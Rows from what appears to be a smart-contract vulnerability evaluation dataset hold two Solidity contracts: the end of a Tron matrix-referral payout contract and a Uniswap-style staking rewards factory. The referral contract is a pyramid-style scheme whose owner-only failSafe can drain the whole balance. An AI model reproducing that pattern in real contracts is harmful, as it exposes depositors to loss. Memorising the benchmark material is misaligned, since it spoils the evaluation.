} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTRXDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address, uint) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function getX3TotalEarnedTrx() public view returns(uint) {
uint totalTrx;
for(uint i=1;i<=lastUserId;i++) {
totalTrx = totalTrx.add(totalEarnedTrx[userIds[i]][1]);
}
return totalTrx;
}
function getX6TotalEarnedTrx() public view returns(uint) {
uint totalTrx;
for(uint i=1;i<=lastUserId;i++) {
totalTrx = totalTrx.add(totalEarnedTrx[userIds[i]][2]);
}
return totalTrx;
}
function failSafe(address payable _toUser, uint _amount) public returns (bool) {
require(msg.sender == owner, "Not authorized");
require(_toUser != address(0), "Invalid address");
require(address(this).balance >= _amount, "Insufficient balance");
(_toUser).transfer(_amount);
return true;
}
function contractLock(bool _lockStatus) public returns(bool) {
require(msg.sender == owner, "Not authorized");
lockStatus = _lockStatus;
return true;
}
function findTrxReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTRXDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTrxReceiver(userAddress, _from, matrix, level);
if(matrix == 1) {
EarnedTrx[receiver][matrix][level] = EarnedTrx[receiver][matrix][level].add(levelPrice[level]);
totalEarnedTrx[receiver][matrix] = totalEarnedTrx[receiver][matrix].add(levelPrice[level]);
}
else {
EarnedTrx[receiver][matrix][level] = EarnedTrx[receiver][matrix][level].add(levelPrice[level]);
totalEarnedTrx[receiver][matrix] = totalEarnedTrx[receiver][matrix].add(levelPrice[level]);
}
if (isExtraDividends) {
emit SentExtraTrxDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 287,732 | 598 |
56eaf3b1479acf1b87e64252a579b430be0967e04eedd4cfd56a790dcb7e5746
| 26,409 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/StakingRewardsFactory-0xa27bfea336bc7058ff1297eeff2732389f8b208f.sol
| 4,176 | 16,581 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract RewardsDistributionRecipient {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
}
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 365 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) public {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
// permit
IUniswapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
interface IUniswapV2ERC20 {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingRewardsFactory is Ownable {
// immutables
address public rewardsToken;
uint public stakingRewardsGenesis;
// the staking tokens for which the rewards contract has been deployed
address[] public stakingTokens;
// info about rewards for a particular staking token
struct StakingRewardsInfo {
address stakingRewards;
uint rewardAmount;
}
// rewards info by staking token
mapping(address => StakingRewardsInfo) public stakingRewardsInfoByStakingToken;
constructor(address _rewardsToken,
uint _stakingRewardsGenesis) Ownable() public {
require(_stakingRewardsGenesis >= block.timestamp, 'StakingRewardsFactory::constructor: genesis too soon');
rewardsToken = _rewardsToken;
stakingRewardsGenesis = _stakingRewardsGenesis;
}
///// permissioned functions
// deploy a staking reward contract for the staking token, and store the reward amount
// the reward will be distributed to the staking reward contract no sooner than the genesis
function deploy(address stakingToken, uint rewardAmount) public onlyOwner {
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards == address(0), 'StakingRewardsFactory::deploy: already deployed');
info.stakingRewards = address(new StakingRewards(address(this), rewardsToken, stakingToken));
info.rewardAmount = rewardAmount;
stakingTokens.push(stakingToken);
}
///// permissionless functions
// call notifyRewardAmount for all staking tokens.
function notifyRewardAmounts() public {
require(stakingTokens.length > 0, 'StakingRewardsFactory::notifyRewardAmounts: called before any deploys');
for (uint i = 0; i < stakingTokens.length; i++) {
notifyRewardAmount(stakingTokens[i]);
}
}
// transfer tokens and notify reward amount for an individual staking token.
function notifyRewardAmount(address stakingToken) public {
require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready');
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed');
if (info.rewardAmount > 0) {
uint rewardAmount = info.rewardAmount;
info.rewardAmount = 0;
require(IERC20(rewardsToken).transfer(info.stakingRewards, rewardAmount),
'StakingRewardsFactory::notifyRewardAmount: transfer failed');
StakingRewards(info.stakingRewards).notifyRewardAmount(rewardAmount);
}
}
}
| 188,666 | 599 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.